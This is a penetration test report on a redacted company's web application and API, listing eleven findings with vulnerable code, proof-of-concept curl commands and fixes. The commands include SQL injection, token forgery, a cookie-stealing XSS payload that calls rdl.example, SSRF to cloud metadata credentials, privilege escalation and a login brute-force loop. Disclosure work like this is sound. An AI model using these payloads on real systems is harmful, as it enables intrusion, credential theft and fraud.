| Version | Date | Author | Reviewer | Status |
|---|---|---|---|---|
| 1.0 | 2026-03-11 | Lead Tester | Sr. Engineer | Draft |
| 1.1 | 2026-03-12 | Lead Tester | Sr. Engineer | Final |
Distribution: ████████ Security Team, CTO, CISO
TOUGH LOVE SECURITY conducted a penetration test of ████████'s web application and REST API between March 10–11, 2026. The assessment used AI-accelerated analysis across 13 autonomous agents covering source code review, active exploitation, and browser-based testing, with all findings verified by a senior security engineer before inclusion in this report.
The assessment identified 11 vulnerabilities:
| Severity | Count | Key Findings |
|---|---|---|
| CRITICAL | 3 | SQL injection (unauthenticated), predictable session tokens, IDOR with admin takeover |
| HIGH | 3 | Stored XSS, SSRF to cloud metadata, business logic flaw in payment |
| MEDIUM | 4 | CORS misconfiguration, CSRF, missing rate limiting, verbose errors |
| LOW | 1 | Missing cookie security flags |
The most impactful finding chain: an unauthenticated attacker can extract the full user database via SQL injection (RDL-001), compute any user's session token due to predictable generation (RDL-002), and escalate to admin via IDOR (RDL-004). This chain enables complete application compromise without credentials.
The assessment used TOUGH LOVE SECURITY's 5-phase pipeline with OWASP Testing Guide v4.2 alignment:
| Phase | Approach | Duration |
|---|---|---|
| 1. Pre-Recon | Source code analysis, nmap, subfinder, whatweb | ~25 min |
| 2. Recon | Playwright browser automation, API mapping | ~35 min |
| 3. Vuln Analysis | 5 parallel agents: injection, XSS, auth, authz, SSRF | ~90 min |
| 4. Exploitation | Conditional PoC for confirmed findings | ~45 min |
| 5. Report + Review | AI compilation, human verification, remediation | ~4 hrs |
Findings are scored using CVSS v3.1. Severity tiers: Critical (9.0–10.0), High (7.0–8.9), Medium (4.0–6.9), Low (0.1–3.9).
nmap 7.99, sqlmap 1.10.3, Playwright (Chromium 124), subfinder 2.13, whatweb 0.5.5, custom AI payload generation
Strict-Transport-Security: max-age=31536000; includeSubDomains present on all responsesContent-Security-Policy deployed, though the unsafe-inline directive weakens it (see RDL-003)Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The search endpoint passes user input through stripHtml() which removes HTML tags but does not escape SQL metacharacters. The sanitized value is then interpolated directly into a SQL query string.
// src/controllers/userController.js:47
const searchUsers = async (req, res) => {
const query = stripHtml(req.query.q);
const results = await db.query(
`SELECT id, name, email FROM users WHERE name LIKE '%${query}%'`
);
return res.json(results);
};
# Confirm injection — returns all 12,847 users curl "https://app.████████.com/api/v2/users/search?q=test'%20OR%201=1--" # HTTP/2 200 | Body: [{"id":1,"name":"Admin",...}, ... 12847 records] # Extract database version curl "https://app.████████.com/api/v2/users/search?q=test'%20UNION%20SELECT%20NULL,version(),NULL--" # Response body: [{"name":"PostgreSQL 15.4 on x86_64-pc-linux-gnu"}] # Full extraction via sqlmap sqlmap -u "https://app.████████.com/api/v2/users/search?q=test" -p q \ --dbms=postgresql --tables --batch # [12 tables found: users, sessions, orders, payments, ...]
Unauthenticated full database extraction including password hashes (bcrypt — slow to crack but still a breach), emails, roles, payment references. GDPR/breach notification obligation triggered.
db.query('SELECT ... WHERE name LIKE $1', [`%${q}%`])q to [a-zA-Z0-9\s]Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Session tokens are generated deterministically from the user's email concatenated with a hardcoded secret, then MD5-hashed. Any attacker who knows a user's email can compute their token offline without authentication.
// src/services/authService.js:23
function generateSessionToken(email) {
const seed = email + 'APP_SECRET_2024';
return crypto.createHash('md5').update(seed).digest('hex');
}
# Compute admin token offline echo -n "admin@████████.comAPP_SECRET_2024" | md5sum # 8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b # Access admin dashboard without login curl -H "Cookie: session=8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b" \ https://app.████████.com/api/v2/admin/dashboard # HTTP/2 200 | {"users_count":12847,"revenue":"$2.4M","pending_orders":342}
Any user's session can be hijacked knowing only their email. Combined with user enumeration via RDL-001, all accounts are compromisable.
crypto.randomBytes(32).toString('hex')Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Comment bodies are stored unsanitized. The React frontend renders them via dangerouslySetInnerHTML, executing attacker-controlled JavaScript in every viewer's browser. The existing CSP includes unsafe-inline, failing to block this vector.
curl -X POST https://app.████████.com/api/v2/comments \ -H "Cookie: session=████" -H "Content-Type: application/json" \ -d '{"body":"<img src=x onerror=fetch(`https://rdl.example/c=`+document.cookie)>"}' # HTTP/2 201 | Payload stored # Victim navigates to comment thread: # GET /comments/thread/482 → browser executes onerror → cookie exfiltrated # Received at attacker endpoint: session=7b3f8e2a...
Persistent JavaScript execution in any visitor's browser. Enables session theft, keylogging, phishing overlays, and worm-like self-propagation across comment threads.
dangerouslySetInnerHTML with react-markdown + sanitizationunsafe-inline, use nonce-based script loadingHttpOnly on session cookies (also addresses RDL-011)Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
The profile update endpoint accepts a user ID in the URL path but does not verify the authenticated user owns that profile. Any authenticated user can modify any other user's profile, including the role field.
# Authenticated as user ID 847 (regular user) # Modify admin user (ID 1) role curl -X PUT https://app.████████.com/api/v2/users/1/profile \ -H "Cookie: session=████" -H "Content-Type: application/json" \ -d '{"role":"user"}' # HTTP/2 200 | Admin demoted # Elevate own account to admin curl -X PUT https://app.████████.com/api/v2/users/847/profile \ -H "Cookie: session=████" -H "Content-Type: application/json" \ -d '{"role":"admin"}' # HTTP/2 200 | Now admin
Any authenticated user can grant themselves admin privileges, demote other admins, modify any user's email/name/role. Full authorization bypass.
req.user.id === params.id on all user-specific endpointsrole from user-editable fields — admin role changes via separate admin-only endpointrequireOwnerOrAdmin()Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
The webhook configuration endpoint fetches a user-provided URL server-side to validate connectivity. No URL allowlisting or internal IP blocking is enforced.
curl -X POST https://app.████████.com/api/v2/integrations/webhook \ -H "Cookie: session=████" -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' # HTTP/2 200 | {"response":"ec2-metadata-role"} # Retrieve temporary AWS credentials curl -X POST ... -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-metadata-role"}' # HTTP/2 200 | {"AccessKeyId":"AKIA...","SecretAccessKey":"..."}
AWS IAM temporary credentials exfiltrated. Depending on role permissions, this could enable S3 bucket access, RDS access, or lateral movement within the AWS account.
Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
The cart API accepts negative quantities. Adding an item with quantity: -5 creates a credit on the order total. By mixing positive and negative quantities, an attacker can produce orders with a total of $0.00 or receive a refund credit exceeding their payment.
# Add expensive item with negative quantity curl -X POST https://app.████████.com/api/v2/cart/items \ -H "Cookie: session=████" -H "Content-Type: application/json" \ -d '{"product_id":42,"quantity":-3}' # HTTP/2 200 | Cart total: -$299.97 # Add cheap item with positive quantity curl -X POST ... -d '{"product_id":101,"quantity":1}' # HTTP/2 200 | Cart total: -$290.98 # Checkout — payment processor issues $290.98 refund to attacker curl -X POST https://app.████████.com/api/v2/checkout \ -H "Cookie: session=████" # HTTP/2 200 | {"order_id":8847,"total":-290.98,"status":"refund_pending"}
Direct financial loss. Attackers can generate unlimited refund credits. This bypasses payment validation entirely.
quantity > 0 server-side on all cart operationsorder.total > 0 before payment processingVector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
The API reflects the Origin header in Access-Control-Allow-Origin with credentials: true, allowing any website to make authenticated cross-origin requests.
curl -H "Origin: https://evil.com" -I https://api.████████.com/v2/users/me
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
Attacker-controlled websites can read authenticated API responses, exfiltrate user data, and perform actions on behalf of the victim.
Access-Control-Allow-Origin to explicit allowlist of known frontend domainscredentials: trueVector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Account settings endpoint accepts state-changing PUT requests without CSRF token validation. Combined with the CORS misconfiguration (RDL-007), an attacker's website can silently modify a victim's notification preferences, email, or connected integrations.
SameSite=Strict on session cookies as defense-in-depthVector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
The login endpoint accepts unlimited authentication attempts with no rate limiting, CAPTCHA, or account lockout. Enables brute-force and credential stuffing attacks.
# 1000 login attempts in 60 seconds — no blocking
for i in $(seq 1 1000); do
curl -s -o /dev/null -w "%{http_code}" -X POST \
https://app.████████.com/api/v2/auth/login \
-d '{"email":"admin@████████.com","password":"attempt'$i'"}'
done
# All return 401 — no 429, no lockout, no delay
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Error responses include full stack traces with file paths, line numbers, database query fragments, and Node.js version. This aids attacker reconnaissance significantly.
curl https://app.████████.com/api/v2/users/invalid
# HTTP/2 500 | {"error":"SequelizeDatabaseError","sql":"SELECT * FROM users WHERE id = 'invalid'",
# "stack":"at Query.run (/app/node_modules/sequelize/lib/dialects/postgres/query.js:76:25)\n..."}
{"error":"Internal server error"}NODE_ENV=production to disable debug output in ExpressVector: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Session cookie is set without HttpOnly, Secure, or SameSite attributes. This enables JavaScript access (exploited in RDL-003), transmission over HTTP, and cross-site attachment.
curl -v https://app.████████.com/api/v2/auth/login -d '...' 2>&1 | grep Set-Cookie
# Set-Cookie: session=7b3f8e2a...; Path=/
# Missing: HttpOnly, Secure, SameSite
HttpOnly; Secure; SameSite=Strictres.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' })nmap scan of ████████.com (external):
| Port | Service | Version | Status |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 9.3 | Filtered (ACL — good) |
| 80/tcp | HTTP | nginx 1.25.3 | Open — redirects to 443 |
| 443/tcp | HTTPS | nginx 1.25.3 + TLS 1.3 | Open |
| 5432/tcp | PostgreSQL | — | Filtered (not exposed — good) |
Assessment: External attack surface is minimal. SSH filtered, database not exposed, HTTP redirects to HTTPS. No additional exposed services detected across full port range (1-65535). Infrastructure posture is solid.
| ID | Finding | Category | Severity | CVSS | Status |
|---|---|---|---|---|---|
| RDL-001 | SQL Injection — User Search | Injection | CRIT | 9.8 | Exploited |
| RDL-002 | Predictable Session Tokens | Crypto Failure | CRIT | 9.1 | Exploited |
| RDL-003 | Stored XSS — Comments | Injection | HIGH | 7.5 | Exploited |
| RDL-004 | IDOR — User Profile API | Access Control | CRIT | 8.6 | Exploited |
| RDL-005 | SSRF — Webhook to Metadata | SSRF | HIGH | 7.2 | Exploited |
| RDL-006 | Negative Cart Quantity | Business Logic | HIGH | 7.4 | Exploited |
| RDL-007 | CORS Misconfiguration | Misconfig | MED | 6.1 | Confirmed |
| RDL-008 | CSRF on Settings | Access Control | MED | 5.4 | Confirmed |
| RDL-009 | No Rate Limiting — Login | Auth | MED | 5.3 | Confirmed |
| RDL-010 | Verbose Error Messages | Misconfig | MED | 5.0 | Confirmed |
| RDL-011 | Missing Cookie Flags | Misconfig | LOW | 3.7 | Confirmed |
crypto.randomBytes. Invalidate all sessions.quantity > 0 validation. Audit orders for negative totals.dangerouslySetInnerHTML, implement DOMPurify, tighten CSP.HttpOnly; Secure; SameSite=Strict on all cookies.TOUGH LOVE SECURITY offers a complimentary retest within 30 days of remediation to verify all findings have been properly addressed. To schedule:
For ongoing protection, consider a Quarterly engagement ($7,500/quarter) which includes 3 full assessments per quarter with unlimited retests and trend tracking.